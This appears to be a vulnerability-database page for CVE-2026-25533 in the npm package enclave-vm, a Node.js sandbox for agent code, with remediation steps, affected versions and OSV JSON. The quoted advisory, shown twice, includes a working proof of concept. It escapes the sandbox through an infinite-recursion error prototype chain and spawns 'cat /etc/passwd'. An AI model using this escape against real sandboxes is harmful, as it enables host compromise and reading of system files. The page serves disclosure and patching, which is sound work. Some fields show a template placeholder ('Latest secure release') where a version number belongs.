Vulnerabilities in pkg:npm/enclave-vm

PACKAGE
Advisory Identifier: GHSA-x39w-8vm5-5m3p
Advisory Summary

CVE-2026-25533 is a MODERATE sandbox escape vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting Enclave vm libraries in the npm ecosystem. The issue involves sandbox escape via infinite recursion and error objects. Remediation is available by upgrading affected packages to version 2.10.1.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/enclave-vm

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/enclave-vm. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-x39w-8vm5-5m3p CVE-2026-25533 MODERATE Sandbox escape via infinite recursion and error objects
GHSA-7qm7-455j-5p63 CVE-2026-22686 CRITICAL enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain

CVE-2026-25533 at a Glance

CVE Identifier CVE-2026-25533
GHSA Identifier GHSA-x39w-8vm5-5m3p
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Affected Product Enclave vm
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-25533

To remediate this vulnerability, upgrade all affected Enclave vm dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

enclave-vm fixed: Latest secure release
npm install enclave-vm@Latest secure release
@enclave-vm/core fixed: 2.10.1
npm install @enclave-vm/core@2.10.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls enclave-vm

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-25533, inspect your project dependencies using npm:

npm ls enclave-vm

Analyze the terminal output to locate any version of Enclave vm in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.10.1), your application is affected.

Note: The npm ls enclave-vm command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In Enclave vm, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`). All fixed versions and guidance refer to `@enclave-vm/core`. ### Summary The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. ### Details There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox. ### PoC The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0. ```js import { Enclave } from 'enclave-vm'; // Create enclave with a tool handler const enclave = new Enclave({ timeout: 5000, maxToolCalls: 10, maxIterations: 1000, toolHandler: async (toolName, args) => { // Your tool execution logic return { success: true, data: `Called ${toolName}` }; }, }); // Execute AgentScript code const result = await enclave.run(` let res = null, rootProt = null; let a = () =>{ try { a(); } catch (e) { rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]]; res=e.stack } } a(); rootProt[["foo"]] = rootProt[["toString"]][["constructor"]] rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")(); `); ``` ### Impact Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.

CVE-2026-25533 Affected Enclave vm Versions

2 component(s)
Fixed Versions:
2.10.1
Product / Package Ecosystem Affected Versions Fixed Version
enclave-vm
npm
≤ 2.7.0
@enclave-vm/core
npm
< 2.10.1
2.10.1

References

Frequently Asked Questions

What is CVE-2026-25533?
CVE-2026-25533 is a security vulnerability in Enclave vm involving Sandbox escape via infinite recursion and error objects under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').
Which Enclave vm versions are affected?
Affected versions include releases prior to 2.10.1 across affected packages: enclave-vm, @enclave-vm/core.
What version fixes CVE-2026-25533?
Upgrading to 2.10.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is enclave-vm affected?
Yes, enclave-vm is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
Is @enclave-vm/core affected?
Yes, @enclave-vm/core is affected in releases prior to 2.10.1. Upgrade your dependency to 2.10.1 or later.
What CWE is associated with CVE-2026-25533?
CVE-2026-25533 is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).
How can I check npm dependencies for CVE-2026-25533?
Run the dependency tree command: 'npm ls enclave-vm'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x39w-8vm5-5m3p",
  "modified" : "2026-02-07T00:31:46Z",
  "published" : "2026-02-05T17:49:35Z",
  "aliases" : [ "CVE-2026-25533" ],
  "summary" : "Sandbox escape via infinite recursion and error objects",
  "details" : "**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`).  \nAll fixed versions and guidance refer to `@enclave-vm/core`.\n\n### Summary\nThe existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.\n\n### Details\nThere is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.\n\n### PoC\nThe following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.\n\n```js\nimport { Enclave } from 'enclave-vm';\n\n// Create enclave with a tool handler\nconst enclave = new Enclave({\n  timeout: 5000,\n  maxToolCalls: 10,\n  maxIterations: 1000,\n  toolHandler: async (toolName, args) => {\n    // Your tool execution logic\n    return { success: true, data: `Called ${toolName}` };\n  },\n});\n\n// Execute AgentScript code\nconst result = await enclave.run(`\nlet res = null, rootProt = null;\nlet a = () =>{\ntry {\n  a();\n} catch (e) {\n  rootProt = e[[\"__proto__\"]][[\"__proto__\"]][[\"__proto__\"]];\n  res=e.stack\n}\n}\na();\nrootProt[[\"foo\"]] = rootProt[[\"toString\"]][[\"constructor\"]]  \nrootProt[[\"foo\"]](\"let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())\")();\n`);\n\n```\n### Impact\nSandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "enclave-vm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.7.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@enclave-vm/core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.10.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25533"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/agentfront/enclave"
  }, {
    "type" : "WEB",
    "url" : "https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-835" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-05T17:49:35Z",
    "nvd_published_at" : "2026-02-06T22:16:11Z"
  }
}